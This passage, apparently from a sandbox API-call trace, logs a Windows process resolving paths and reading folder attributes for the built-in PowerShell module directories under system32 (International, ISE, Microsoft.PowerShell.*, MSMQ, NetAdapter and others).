lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a636cb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.979] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0084.979] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0084.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.979] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a63ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.980] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0084.980] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", lpFilePart=0x0) returned 0x38 [0084.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.980] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a648ba, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.980] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0084.981] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0084.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.981] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65091, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.981] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0084.981] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x37, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", lpFilePart=0x0) returned 0x36 [0084.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.981] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65832, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.981] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0084.981] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0084.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.982] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a6609c, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.982] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0084.982] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0084.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.982] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67503, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.983] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0084.983] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0084.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.983] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67e99, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.983] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0084.983] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0084.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.983] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a686f1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.984] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0084.984] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0084.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.984] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1ac9e27, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.984] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0084.984] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0084.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.984] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acae81, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.984] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0084.984] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0084.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.985] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.985] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0084.985] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0084.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.985] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acc005, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.996] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0084.996] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0084.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.997] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acdc29, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.003] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0085.003] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", lpFilePart=0x0) returned 0x37 [0085.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.003] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msmq"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20c0ce20, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x243555cf, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x243555cf, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.004] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0085.004] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x3e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", lpFilePart=0x0) returned 0x3d [0085.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.004] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acff90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0085.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", lpFilePart=0x0) returned 0x40 [0085.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.005] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb671a, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0085.005] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", lpFilePart=0x0) returned 0x48 [0085.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.005] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb70fa, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.006] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0085.006] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x3b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", lpFilePart=0x0) returned 0x3a [0085.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.006] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c2fdb4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.006] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0085.006] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0085.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.006] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, 